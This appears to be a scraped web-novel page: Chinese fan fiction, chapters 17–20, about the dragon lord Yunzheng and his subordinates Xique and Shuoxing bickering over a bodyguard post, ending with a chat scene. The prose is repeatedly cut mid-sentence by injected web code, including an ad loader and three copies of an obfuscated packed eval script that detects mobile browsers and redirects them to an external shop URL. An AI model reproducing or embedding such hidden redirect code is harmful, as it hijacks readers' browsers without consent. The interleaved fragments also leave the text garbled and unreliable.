“云峥大人,云峥大人,两次觐见龙祖,您果然是我等的福星啊——”
“……”
明明云峥还没有开口,几位龙师已经七嘴八舌将大致情况推断得差不多了,最后就是不断地夸赞云峥。
这些没有重复的夸赞之话听得云峥脸上的镇定都快维持不住了,藏在发丝尖的耳尖都泛起了红意。
虽然他时不时会听到龙师们当众夸自己,但是——
请不要再说了,真的!
云峥垂眸看着被子上被他攥紧出的皱褶,莫名有种想将自己直接蒙盖住的冲动。
“咳咳咳。”
被挤在一边动弹不得的溪榷连连咳嗽,想要唤醒这群为兴奋上头的龙师们。
“诸位,别说了。”
没看到龙尊大人他魂都快没了吗!
别再说了啊!别说龙尊大人,他也听不下去了!
可怜溪榷的话语在一众吵杂中太过微小,丝毫没人听见。
溪榷:弱小,可怜,又无助.jpg
视线扫了一圈龙师激动的面色,云峥沉默地又躺了回去。
他还是再睡会儿吧。
眼睁睁看着亲爱的龙尊由于承受不住他们的赞美之言再次躺下,龙师们像掐住脖子的鸭,所有声音戛然而止。
龙师们面面相觑,再看看龙尊,恍然大悟。
“是我等未能顾及到云峥大人刚醒,尚未缓过龙祖之威压,望云峥大人莫要生气。”
“云峥大人好生休息,工作便交由我等处理便是。”
“龙尊大人安好,我等不多打扰。”
“请龙尊大人放心。”
听着耳边的脚步声杂乱,渐渐远去,云峥再次睁眼,然后对视上一双澄亮的眼睛。
刚睁开的眼睛秒闭。
等候着的溪榷连忙出声:“等等,云峥大人你先别睡!”
“我有事要报!!!”
很想逃避现实的云峥被迫睁开眼睛,在溪榷真诚的目光下吐出一字。
“说。”
顶着龙尊杀意的目光,溪榷扭扭捏捏地开口解释:
“就是,那个,云峥大人为什么要同意将烁星那混小子调任到护卫啊?”
“如果可以的话…”
溪榷嘻嘻笑,“让那小子当龙师,我来给您当护卫。”
他搓着手,看起来有些害羞,又有些紧张,更多是期待。<
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“……滚。”
龙尊干净利落。
没想到龙尊甚至连思考都不带思考一瞬就这样的拒绝了自己,溪榷头顶翘起的呆毛如同衰败的花焉了。
“QwQ,云峥大人,您不要这么冷漠地对待我啊!”
溪榷:不嘻嘻TAT
“我只是觉得烁星那混小子更适合这个位置,我这是退位让贤。”溪榷企图做最后的挣扎。
他不服,当时云峥大人都当他面说不允通过了,结果和烁星见面谈完就改了主意。
凭什么啊,他也想给云峥大人当护卫。龙师有什么好当的,能有给云峥大人当护卫有意义吗?
“确定?”
云峥半坐起,睨了他一眼,语气带着捉摸不透的意味。
“…那,我不、当了?”
感觉到危险,溪榷缩着脑袋,弱弱道。
“刚说要当,现在又不当,汝在拿吾开玩笑?”
云峥冷淡的声音仿佛能冻伤人,听得溪榷哆嗦了一下,赶忙否认。
“不,不是。我当,我当然想当的啊。”
擦擦额头的细汗,在龙尊的注视下,溪榷简直要哭出来了。
他错了,他不该这个时候打扰龙尊的,他就该跟着那几个老家伙一起走的。
溪榷:QwQ,云峥大人求放过。
“汝想与烁星互换,便去与他一比吧。”
靠着神情和气势吓吓对方,云峥重新归于往昔的淡然,提出了一个建议。
“若汝能胜之,吾便应许汝之提议。”
刚刚还瑟瑟发抖的溪榷听完,眼睛刷得一亮,整个人都有了精神。
“我一定能胜了那混小子的!”
溪榷信心满满地挺着胸膛离开了屋子。
区区烁星,他好歹也任龙师三百多年了,怎么可能干不过那个混小子!
望着溪榷坚定地仿若要上战场杀敌的背影,龙尊无奈地叹了口气,然后躺下阖眼冥想。
他睡不着,但是此刻也没有什么别的想法,便就这样躺着吧。
工作的话,雪禅龙师既然说不让他操劳,那就不去了吧。
反正去了也会被人压回来的,还要再挨一顿骂,得不偿失。
自从上次被槿希龙师说过,自觉自己的屡教不改貌似让他们失望了,云峥终于肯放下工作了。
前提是龙师们没说不让他工作。
……
17.谈判
有了龙尊首肯,溪榷简直就是一路带风地冲进了烁星的院子。
只不过某人此刻正在收拾东西,已经调任为龙尊护卫的烁星决定直接搬到龙尊那住,贴身守护。
当然,他不会承认他就是单纯想要蹭好友那边的饭的。
虽然持明族没有一个是穷人,但相较于龙尊的生活水平,还是差距犹如天与地。
尤其是膳食上面。
在某个艳阳高照的日子里,他曾在龙尊的寝殿中享用过一顿丰盛的午餐。
舌尖上的滋味至今令人难以忘怀,每每用餐时便会想起,勾得他忍不住流口水。
然而,身为龙尊的好友大部分时间都被公务缠身,忙碌起时甚至无暇顾及个人的饮食,多是糊弄几口、或不吃,便又投身于工作之中。
那时他蹭饭的次数屈指可数,若细数下来,也不过百次而已。
之前疯狂工作的时候可谓是让龙师们都心生害怕。现在好些,不至于天天埋干公文中。
一想到今后随时都可以蹭饭,烁星脸上的笑容便掩盖不住,心情愉悦。
心里美滋滋的他手脚麻利地将自己的东西叠放入箱中,不一会儿就收拾得差不多了。
尖耳微抖,听到门外少许急促的风鸣之声,便晓有人而来。
他迅速将箱子合上,脚步轻盈地急速后退,恰好躲过了扑面而来的青黑色身影。
目光一凝,烁星的眼神在那袭来之人的服饰上游移,终于定格在象征着龙师身份的环形配饰上,眉头一掀。
虽未见来人的面容,光凭这身眼熟的服饰,大抵也清楚是谁了。
“溪榷龙师今日怎么有空来我这?”
双手环在胸前,烁星轻笑,调侃道:“这么急切,难不成是为了我先前的调任书?”
“哎呀,只可惜龙尊大人已经批准,你再怎么不同意也不能越过龙尊大人将我的调任书废除吧。”
他耸耸肩,摇头的姿态中透着几分惋惜。
一击未果,溪榷心中暗自不甘,拍了拍衣衫上那些凌乱的褶皱,朝烁星翻了个白眼。
“我有什么好可惜?”
“不过,有个好消息的确要跟你分享一下。”
溪榷笑起,眉眼弯弯,“混小子要不要听听?”
烁星没有如他预期般上钩,他眯起眼睛,目光如刀,细致地端详溪榷的神情,心中隐隐浮现出一些猜测。
他试探道:“嘁,这么高兴,看来是刚从龙尊大人那出来啊~”
毕竟,溪榷这家伙每次从龙尊那里得了好处,无论大小都如同得了天大的奖赏,总要来找他炫耀一番,这次怕是亦然。
只不过……
但他感觉到,溪榷的笑容中似乎还夹杂着一丝幸灾乐祸的意味。
他心下提高警惕,“你又在干了什么好事?”
溪榷则是嘿嘿一笑,故作神秘,朝烁星勾了勾手指。
“你先和我打一架,让我赢了,我就告诉你。”
溪榷心思缜密,算盘打得极好,心中更是自信满满,不怕烁星会上他的当。
他跟对方约架次数不在少数,这次顶多会让对方觉得自己又拿捏住了他什么把柄,想借此机会压制他一下。
烁星这混小子不清楚情况,面对他的挑衅必定会上钩,然后落入他的圈套。
想着后续可以让烁星体会到当龙师的痛苦,以及自己跟在龙尊身边的美好日子,溪榷简直就要笑出声了。
“不打。”
某人突然的拒绝如同一盆冷水泼在溪榷兴致盎然的心头,瞬间打醒了他。
“凭什么?!”溪榷的眼睛瞪得大大的,神色带着些不可置信。
不是,他的话还不够挑衅吗?这混小子怎么不上当?
手随意地拍了拍衣肩上不存在的灰尘,烁星赏了溪榷一记白眼。
“你笑得太灿烂了,蠢货。”
他又不是傻子,怎么可能连这么明显地挖坑都看不出来。
溪榷:糟糕,表现得太明显了。
烁星悠然自得地拖出一张椅子,坐下后微微抬起下巴,嘴角勾起一抹意味深长的笑容。
他朝溪榷伸出手,“想让我跟你打,拿好东西来。”
“…你这分明就是趁火打劫,就差直接抢了!”溪榷磨牙。
这个混蛋!
见烁星一副“不给东西就坐这不动”的模样,溪榷忍痛割爱地从脖子上取下一直以来带着的玉制的如意纹平安锁吊坠,犹犹豫豫半天,才闭眼狠心递给烁星。
“给你!”
他在内心劝慰自己:‘那就是枚吊坠,哪怕是云峥大人赠予的,但它有更重要的使命,那就是助我成为龙尊护卫!’
‘只要能成为云峥大人的护卫,区区一枚吊坠有什么好伤心的!’
可是看到烁星随意地接过自己宝贵的吊坠,溪榷捂住了胸口。
溪榷:QwQ,心还是好痛。
接过吊坠,烁星也没仔细看,就是放在手里把玩,似笑非笑地看着溪榷。
“连这东西都舍得给我?”
啧,他可是知道这东西对于溪榷这家伙有多宝贵。
而现在对方愿意拿这东西当筹码,看来溪榷所瞒着他的东西大概率,不,百分之百是跟云峥有关的。
见自己吊坠被毫不怜惜地搓动,溪榷差点没哭出声来。
但成为龙尊护卫的念头仍居于顶峰,他按捺住想要冲上去抢回来的冲动。
溪榷板起脸,干巴巴开口:“混小子你现在和我打一架,还有必须要输给我。”
两指夹着吊坠,烁星晃了晃,再次露出一抹笑容,“你都把念头打我身上了,这点东西就想让我退步?”
这话说得似是而非,听在溪榷耳中就是——
“你都想抢我的好活了,单凭这点东西交换龙尊护卫这一职位可不行。”
溪榷吓得大惊失色:“你怎么知道的!”
“明明云峥大人只与我说过,你怎么会知道!!!”
上钩了!
烁星嘴角弧度陡然加深,他果然没猜错,现在就是收线直到把鱼钓上来了。
“你猜?”
“这样吧,你我老是打架多没意思,不如这次你多破点财,花点小钱,我就承认我这次输给你了如何?”
溪榷再聪明又哪里是烁星这个腹黑家伙的对手,此话一出明显整个人都兴奋不少。
“此话当真?”溪榷眼睛闪亮。
“你说呢?”烁星不否认,也不肯定。
想想自己想想龙尊,溪榷咬了咬牙,反正东西给都给了,还差这一两件吗?
“行,我给!”
又是两件宝贝出手,甚至这两件的重量比之刚刚的吊坠还要宝贵得多,看得溪榷两眼泪汪汪,心疼极了。
溪榷颤颤巍巍地伸手,“呜,这可是我要拿来献给云峥大人的宝贝啊,TAT”
为了能当上龙尊护卫,他真的付出了太多了。
看着溪榷欲哭无泪的委屈样子,烁星掂量着手中的宝贝,挑眉调侃道:“你小子好东西不少啊。”
烁星咂舌,这两
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13936169|145567||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
样东西连他想拿到都要通过一些特殊渠道,结果溪榷这家伙一出手就这种珍品,啧啧。
痛失宝贝的溪榷面色扭曲:“你爱要不要,不要还我!”
烁星却悠然自得,长腿轻轻叠起,背靠着椅背,抖动着腿,仿佛一只懒洋洋的猫。
嘴角带着调侃的笑意,他漫不经心地说:“我可没说不要啊~”
“你都拿出这等好东西了,那我就勉强承认你的能力尚可吧。”
名为「换境桂冠」的奇物,以及——
琥珀王的造物碎片,被公司严令禁止流通的「基石」。
这两份东西,说实在烁星也挺眼馋。奇物倒无所谓,最主要是基石,所带来的力量可不容小觑。
“我可是认真的,这条件也是你说的,东西我都交给你了,快履行承诺。”溪榷咬牙切齿道。
在烁星愤愤的目光下将东西收入囊中,烁星两手一摊:“我可没答应你哦。”
溪榷:“!!!”
“你给我死!”
名为理智的那条线顷刻崩断,气得脸通红的溪榷如同一只被激怒的小兽,张牙舞爪地朝烁星扑去。
而后者从容地跳离这张凳子,灵巧闪避攻击,随后反手快速出击——
一拳砸向溪榷的脸上,,即便溪榷反应迅速,侧身闪避,仍旧被拳风刮得面颊微微泛红,留下了几道明显的印记。
烁星晃晃拳头,“你真的确定要和我打?嗯?”
“师父说得果然不错,你就是个混小子。”溪榷自闭地蹲下身,一只手在地上画圈圈。
眼角闪烁着泪光,“骗人又骗财,QwQ”
“不会真的要哭了吧?”烁星弯腰侧看,目光戏谑。
溪榷不理会他,继续低头画圈诅咒。
“好啦好啦,不玩你了,东西还你。”
眼看着要把人逗哭了,烁星只好收手,他将刚才的三样东西全部递还给溪榷。
溪榷猛地抬头,眼神凶恶,死死盯着烁星。
“那啥,我就是跟你开个玩笑而已,没别的想法。”
烁星心虚地躲着溪榷的视线,“真的还你。”
溪榷深吸一口气,缓缓站起身,伸手接过原本属于自己的东西收起。
“我再信你,我是狗。”
溪榷朝烁星龇牙,转身就走。
溪榷头也不回地径直向前走,只是他每走一步便不由自主顿下脚步,直至最后停顿不前。
溪榷内心纠结万分,他是为了当龙尊护卫才过来的,耗费心神和精力,结果现在啥也没有。
有点不甘心。
烁星摸着下巴,饶有兴致地看着溪榷,似乎能看得出对方心里的想法,他慢悠悠道。
“真的不和我一起去见见云峥吗?”
“说不定,我可以说服云峥同意你和我一样哦~”
“!”溪榷猛地扭头。
感情这混小子从一开始就在耍自己!
烁星微微一笑,“我这几天能让你如此在意的事,除了给云峥当护卫,也没别的吧。”
“稍微推断一下,事情经过自然就出来喽。”
“应该就是你为了同样调任当护卫缠着云峥,让云峥不耐烦,为此和你定下只要能打败我就能成功调任的约定吧。”
烁星推了推不存在的眼镜,智慧之光在眼底下隐约显现。
他轻叹一声,拉长语调:“可惜——某人不仅实力不够,脑子也不太好使~”
溪榷:……
溪榷:“你还是去死吧!!!”
18.胜负
“天杀的烁星,本龙师和你没完!”
烁星简简单单的一句话成功让溪榷破防。
心中燃起一团火焰,愤怒与委屈交织,无法抑制。
“你等着!”
溪榷咬牙,想要说几句狠话,目光无意间瞥见那一旁堆叠起的箱子,怒极反笑。
“你若是能住进云峥大人的寝殿,这龙师之位我不要也罢。”
他恼怒地甩袖,扬长而去。
不就龙尊护卫吗?当不上就当不上,他不好过,烁星也别想好过。
“不是,你怎么还玩不起啊——!”
这下子,烁星也稳不住了。
玩火怎么还引火上身了呢?
/
“所以…尔等便因此等缘故而争闹至此?”
云峥的声音低沉而稳重,透着几分无奈,目光在两人身上游移。
他原本打算出门去,去那方寸烟海中寻求一些清幽与思绪,却未曾想,尚未出门便被这俩前后追逐的家伙拦住了去路。
看着眼前这一幕,云峥只觉得头疼,眉头紧蹙,心中颇多无奈却又无计可施。
在听完溪榷边抹眼泪,边声泪俱下地控诉出的烁星的种种“恶行”,让龙尊感到无比的困惑。
龙尊向好友投去惊异的目光。
我怎么不知道原来你还欺负小孩?
溪榷的年龄在龙师们中已经算小的,更别说龙尊和烁星这两个比龙师平均年龄还要大不少的持明了。
在好友询问与诧异的注视下,烁星目光躲闪,心虚地摸了摸鼻尖,小声为自己辩解:“明明是他觊觎我的位置,我小小维护一下而已。”
似乎有了合适的理由,烁星也理直气壮起来。
“他要想当护卫就自己递申请,抢我的干嘛!”
这一番话说得言之凿凿,竟让空气中弥漫起一丝不可言喻的紧张气息。
龙尊下意识扭头去看另一人。
“什么叫抢啊!我可是拿龙师之位与你换的!”
听烁星说得自己跟个强盗一样,溪榷眼睛又红了,心中委屈若潮水,刚止住的眼泪又啪嗒啪嗒地掉。
“跟你换,你还不高兴。还抢云峥大人送我的生辰礼和我要送给云峥大人的礼物,呜……”他睫毛微颤,声音颤抖,透着几分无助与难过。
“云峥大人,为老不尊的混小子就知道欺负我!倚老卖老,还以大欺小。”
因气愤而颤抖的手指直直指向烁星,溪榷言辞间满是控诉之意。
“???”
烁星傻眼了,愣在原地。不是,什么叫他为老不尊啊?分明是这货目无尊长好不好!
一继承他师父的龙师之位就学着他师父一样天天喊他“混小子”也罢,现在又玩这种话语半真半假掺着讲,丝毫不给他这个长辈面子!
“溪榷!你好好给我在龙尊面前讲话!我究竟怎么欺负你了?”
烁星攥紧拳头,面色不虞,目光威胁地看着张口就是倒打一耙的溪榷。
若非龙尊在场,恐怕他早已将对方揪过来好生询问个清清楚楚。
“等等,吾…”龙尊抬手,试图打断这场无休止的争吵,声音低沉而有力,却被两人的争论所掩盖。
“云峥大人你看,他凶我,还威胁我,QAQ~”
溪榷当即立刻躲到龙尊的一侧,揪着衣角,瑟缩着脑袋,眼神还时不时朝某人青筋暴起的手臂看去。
这一副受了委屈,小人告状状的样子让烁星止不住地生气,脸色更是一阵红一阵白。
“你——!”
烁星刚想骂,然后就收到来自龙尊的警告。
龙尊看向他,语气平静,不起波澜。
“烁星。”
简单地喊了句名字,像是魔咒般瞬间让刚才还怒火冲天的持明乖巧听话地坐在了一旁,等候龙尊的发话。
烁星在心里为自己捏了把汗,好家伙他竟然在好友神经上一跳再跳。
龙尊收回目光,微微叹息,眉头微蹙,眼底流露出几分疲惫与无奈之色。
“吾已晓一切,尔等各执一言,难以调和。既如此,先前一切皆不作数。”
龙尊也没想到这两人能因为这一个护卫的位置争抢到如此地步。
“数日后,便是方壶百年一次的演武比式。尔等若有一人胜出,便由谁来当这龙尊护卫吧。”
声音如同清泉流淌,带着一种不可违逆的威严。
龙尊也是烦了。
他不仅要操心冱渊君的教导,还要筹谋如何搜集龙残留的碎片,寻一丝希望将【繁育】重新归并于【不朽】。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972922|145567||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
这一件件的事情本来就令他头痛脑大,而现在这两人还为了争一职位闹得不可开交。
“尔等若是闲来无事,便去议事殿帮其他龙师处理这两日堆积的公文吧。”
龙尊的声音冷如冰霜,面无表情地向二人下达驱客令。
“云峥,我真和他闹着玩吧,不至于吧。”
烁星也没想到会直接把他刚出炉还没摸烫乎的调任书给整没了,开口还想再弥补一下。
“云峥大人,对不起。”
见龙尊脸色不悦,溪榷心里害怕极了,连忙认错。
“来人,送他们去议事殿。”
龙尊没有时间去听他们的废话,抬手唤来侍从,命他们将面前的两人带走。
这场争吵再继续下去的结果无非就是一人胜出一人落败。
将时间浪费在这种地方只会让他更为烦躁,所以完全没有必要继续听下去。
待他们离去后,云峥松了口气,轻装前往方寸烟海。
他默默地告诉自己,别生气,那是族人不能打。要冷静,冷静冷静再冷静。
云峥深吸一口气,强迫自己将内心的烦闷抛诸脑后。
不就是队友内讧拖后腿吗?没事哒没事哒,他一条龙单打独斗其实也是可以的。
等到他恢复龙身,浸泡在海水中,浑身都被那冰凉的水流包裹着,理智才逐渐归于平静。
波光粼粼的海面上,云峥一边缓缓游弋,一边将思绪发散,放空大脑。
搜集龙的碎片虽不易,但却可以尝试。而回收繁育命途,他觉得龙在为难他。
可若让他就此放弃复生【不朽】,那更不可能。
重现往昔持明族的繁荣昌盛,亦是他的心愿与执念。
青色的龙尾在水中一甩,激起大片的水花,每一片龙鳞上都沾着晶莹的水珠在阳光下闪耀着迷人的光芒。
龙首探出海面,深吸一口气,随后又潜入黑暗的海底,摆动着庞大的身躯,肆意遨游,仿佛要将心中的烦恼尽数抛弃
不管了。
下次在梦里再见到龙,他一定要问祂究竟怎么做。
没必要在这里烦恼自己了。
真逼急了,他撂杆子不干了,回丰饶仙主那睡大觉。
……
……
19.什么
议事殿
龙师们齐聚一堂,公文源源不断地被送至他们的桌案上。
龙尊两日未处理事务,方壶重要的公文堆积如山,此外还有龙师们本就要处理的每日琐碎小事。
加起来,每位龙师分到的事务简直可以称作一座山了。
殿门被敲响,伴随着沉重推门入的声音,侍从们如鱼贯而入,排列在两侧。
龙师们放下手中的笔,齐齐抬头望去,只见侍从们将两个人押入殿内。
“龙尊有令,我等送龙师溪榷与护珠人烁星前来助诸位龙师处理政务。”
“既然人已送到,我等便不多留了。”
弥冬微微鞠躬,礼貌行礼后就领着其他侍从们整齐离去,顺便再将殿门关上,期间未有其他动作惊扰。
看着被留下的两人,龙师们互相看看。
龙师们各有想法,态度不同,但此刻无声地统一了意见,谁都不想将自己的时间浪费在处理这事。
随后,大部分龙师都将头重新低下,继续工作。
“雪禅,你来安排吧。”槿希摆摆手,随便点了一人,便又重新忙碌起来。
雪禅点头应下,“好的,二长老。”
“溪榷还不快回你的位置上去。”
雪禅抬了抬下巴,示意缩着脑袋像只鹌鹑般的溪榷回归本位。
“至于烁星你,”目光打量着烁星,雪禅敲了敲桌子,“来人,为他备上椅子。”
“你便坐在这里,看着我们工作吧,也当是锻炼你了。”
烁星:“是。”
就算心里有异议,他也不敢在此时此刻此处反驳,那无疑是在挑战龙师的威严。
他刚惹了好友,还是收敛点。让他做什么就做什么吧。
溪榷坐下,他的位置上早已摆放了属于他的那份政务。虽然投身于公文上,眼睛却不断地将余光瞥向烁星的方向。
等会儿,肯定要当众庭审了。TAT,天杀的烁星,我与你势不两立。
溪榷心里想着,手下飞速翻阅着公文,丝毫不敢懈怠半分。
另一边,雪禅也不时地将目光投向烁星。见烁星只是低头乖乖坐在中央椅子上,她满意地点了点头。
溪榷和烁星一同被龙尊命人押送来,虽未知真况,但猜也能猜到一些,这两人肯定趁着他们这些龙师忙于政务打扰到龙尊休息,惹恼了对方。
龙尊操心的事情已经够多了,这俩还添乱。她可得好好磋磨一下他们,算是为性格太软龙尊出出气。
一刻钟……一炷香……两盏茶……
一个半时辰过去了,龙师们终于舍得从那堆公文里抬起头,端起旁边的茶杯抿了一口清茶,然后随手将面前的公务合拢。
今栀无奈地摇了摇头,忍不住低声叹息:“说说吧,你们两个今日又做了何事?”
“能闹到龙尊大人面前,应该是件大事吧?”一龙师微微挑眉,脸上露出一丝好奇,猜测道。
脾气爆点的龙师直接拍桌,一声巨响,声势震慑四方:“管他事大事小!都说了让云峥大人好生休息,你们两个还去打扰他,是一点也没把我们的话听进去啊!”
“好了,你们也别吵。听听他们怎么解释。”槿希沉声说道,抬手制止了众人的喧闹,语气里透着威严与不容置疑。
被受众龙师们的瞩目,溪榷脖子不自觉地缩了缩,低着头恨不得融入地板中,仿佛自己是一只无足轻重的鹌鹑,完全不敢与众人对视。
溪榷只觉得自己今天的处境真是岌岌可危:QwQ,完蛋喽。
怂唧唧的溪榷不敢说话,指望不上他的众人也只能转向烁星,等他给出一个说法。
“情况就是……”烁星清晰而冷静,将事情一五一十地讲述出来,没有添油加醋,非常客观地陈述完毕。
周围的龙师们纷纷静默,听得入神,表情也逐渐从期待变为扭曲。
龙师们沉默了:“……”
今栀有些一言难尽,苦笑道:“你们两个,就为了这个?”
不就一个龙尊护卫吗?至于吗?
溪榷眨巴眨巴眼睛,虽然有些怂,但还是鼓起勇气真诚地回答:“可是,我真的很想当。当初师父没让我当,我现在有机会为什么不能争取一下?”
而烁星则默默望天,一脸无辜。
龙师们对他的情况都很清楚,所以他没什么好解释的。
气氛一时陷入尴尬境地,龙师们面面相觑都不知道到底该说些什么才好。
毕竟这件事实在是有些荒唐无理。
“溪榷,还有烁星,”槿希沉吟片刻,终是第一个开口,“既然云峥大人已对你二人有安排,我等便不做过多要求。”
“待比式结束,结果已定
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984161|145567||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,此事也就此结束,不可再生事端。”
“你们可明白?”
“明白。”*2
溪榷与烁星异口同声,不由得松了口气。
“今日之事就此作罢,各司其职吧。”槿希摆摆手,不愿继续耗费精力于这种无聊事情上。
“等等,我还有问题。”龙师昱澈突兀地举起了手。
以为没事的溪榷听到小伙伴的声音瞬间一激灵,连忙阻止:“昱澈,你别说了!”
昱澈与溪榷乃同年同月同日而诞,二人自小一同入学堂学习,一同被龙师收为弟子培养,所以关系颇好,经常结伴而行。
槿希头疼地揉着太阳穴:“你说。”
见众人目光落在自己身上,昱澈舔了舔嘴唇,露出一个灿烂的笑容。
他清了清喉咙,声音中带着一丝兴奋与激动:“请问,龙尊大人应该不介意参选人员再多我一个吧?”
“我也想试试,当然能当上更好。”
溪榷缓缓打出一个问号:“???”
烁星咂舌:“这可能就是话本走进现实吧,我拿你当好友,你却想跟我抢龙尊。”
“啧啧啧。”
“我不…”
溪榷话还没说完,另一道洪亮的反对声先盖过他的声音。
“我不同意!”
坐在龙师昱澈对面的龙师乐熹猛然拍桌而起,面色激动,仿佛在捍卫自己的荣耀,“就算要多一人那也应该是我!”
有龙师不甘示弱,声音同样高亢,“什么啊,你们都不行,还是我来吧。”
“龙尊大人更喜欢心细的,我更适合!”
“我来我来,再加我一个!”
越来越多的龙师加入其中,争了起来。
雪禅却默默坐在一旁,捧着茶杯,慢条斯理地饮茶,不再出声多言。只要她不说话,这一切争论都与她无关,也不会牵连到她。
“都消停点!”今栀头疼地敲了敲桌面。
这些个小年轻都怎么回事,一个两个全争起来了,没完了是吧?
作为年龄和资历最老的龙师之一,今栀话一出,场面顿时安静下来。
众龙师皆不语,只是用目光渴求地望着今栀,期望他能够做出令他们满意的结果。
今栀:……
你们这样,老夫的压力有一丢丢地大啊。
20.玉兆
云峥在方寸烟海待了许久,久到都有人跑到这来寻他了。
在感知到外人气息,云峥便迅速换回人身,回到了陆上。
脚刚踏上,一身水汽尚未散去,侍从弥冬已然行至。
“龙尊大人。”弥冬恭谨行礼。
“何事?”云峥询问道。
弥冬递上玉兆,低声解释道:“您的玉兆一直在响,属下担心会耽搁您的要事,便带来了。”
“望您能原谅属下的自作主张。”
“无妨。”只是小事,并不足以让云峥生气。
“属下告退。”
东西送到,弥冬自是不再多留。
毕竟这方寸烟海乃持明重地,龙尊也罢,寻常持明族人是断不可私自随意进入。
“吾随汝一同回去。”
在方寸烟海呆的时间也够了,他也该回去看看那两个家伙的情况了。
“是。”
在往回的路上,云峥不忘翻看玉兆这几日的消息。
自动过滤掉罗浮龙师发来的邀请,手指下滑,掠过一个个昵称,停留在一个只有一颗绿色树苗标注的用户上。
“……”云峥脚步一顿。
这玩意又什么时候从他黑名单出来的?在他消息列表放得真挺碍眼的,属实不想看到。
“龙尊大人?”
见走在前方的龙尊突然停下,弥冬也随之停下,轻声询问。
“…无事。”
云峥摇摇头,收起疑惑,继续前行。
弥冬见状,放轻脚步,悄然随后,免扰了龙尊的思绪。
【峥:……】
【峥:汝有何事?】
云峥指尖轻轻一滑,言语略显不耐。
【(树苗):呦,我当这谁呢?怎么亲爱的在仙舟当巡猎走狗久了,连仙主都忘了?】
【峥:……】
手指随意点了点,直接将人再度拉入黑名单。
又是这样,每次从黑名单出来都要说上这种话语,令人心生烦躁,还有点腻。
刷新记录,果然没有出乎意料,刚刚被拉黑的那人又出现在消息列表中,闪动的红色光点彰显对方的暴躁。
【(树苗):一言不合就拉黑,你在仙舟呆了这么久,就学这了?】
几乎没有任何思考与考量,云峥手指轻触界面,话语便飞速发出。
【峥:汝,无趣且恶心。】
【(树苗):……】
对方似乎为云峥这鲜少的那人而诧异,只停顿了一瞬,便又发来了新的消息。
【(树苗):你还是老样子,我还真就稀奇这仙舟有什么好呆的。】
【(树苗):我还不想骂你。】
【峥:骂,随意。】
像是会预料到接下来那些不堪入目的脏话,云峥干净利落地再次拉黑。
然后退出页面,随意地点进了另一人的聊天页面。
倘若倏忽愿意继续喋喋不休,那便让祂尽兴吧,反正都无所谓。
云峥眼中多了一丝厌倦。
注意力重归玉兆上,看清聊天对象昵称为何,又翻看了些对面发来的讯息。
手指轻敲键盘,云峥简洁地回应了几个字。
【峥:嗯,好。】
不过两秒,对面便回了话。
【天风:哈哈,难得你有空回我信息啊。但听闻你近来昏迷数次,可是身体有恙?】
字里行间透着关切,像春日的细雨,柔和而细腻,是云峥印象中那人的性格。
但有些事情暂时不宜多说。
【峥:无事,与往常一样罢了。】
远在曜青仙舟的天风君看这消息忍不住摇摇头,这人又是这样。
手指轻轻敲击着桌面,思索片刻,他敲下字句,发送。
【天风:有时候真觉得你若是能有明曜一半的性格就好了。】
【天风:稍稍放下公文吧,你都多久没出来过了。】
【天风:不如来曜青?你我也许久未见过了,刚好我又得了几坛美酒,你带烁星那小子一起来。】
天风君的好意云峥心领了,但他身负重任,还是少些闲心在这些事上吧。
【峥:不了,有些忙。】
再一次被婉拒的邀请,天风君的心中满是无奈,嘴角却不自觉地勾起一抹苦笑。
尽管面对这样的回答已经很多次了,他还是不能习惯啊。
【天风:你啊。】
天风君还是不忍对这人说些重话。
【天风:罢了,你不愿我亦不会强求。但方壶的演武比试临近,你应该不介意我去观看吧。】
既然山不向他来,他便走向山。
【峥:不介意。】
【峥:吾之弟子,汝届时亦可见之。】
见此回复,天风君眸中闪过诧异,心中却也对其口中的弟子起了好奇。
天风君尚且记得,之前对方在曜青暂住的时候不是没有人求着他收为弟子。
只不过都被云峥以工作繁琐无暇教导弟子为由拒绝了,而现在却突然多了个弟子。
【天风:好,到时便让我看看究竟是何人能让你收为弟子。】
天风君看着聊天框新弹的消息,目光愈加深邃,微微眯起眼睛。
只因对方的那句话是——
【峥:她是吾的接任者,也只会是她。】
“我越发好奇了。”
“究竟是怎么样的族人才能让他愿意放下工作,给出这样的断言。”
云峥的态度让天风君脸上多了些艳羡之色,如果可以,他也希望某人能抽出时间答应下他的邀请。
只可惜某人是个百折不扣的工作狂。对他的邀请,拒绝居多。鲜少的几次答应,也有他人同行。
天风君收起心思,专心于回复对方。
【天风:即为汝言,则吾皆信。】
【天风:时候不早了,用餐过后便早些休息吧。】
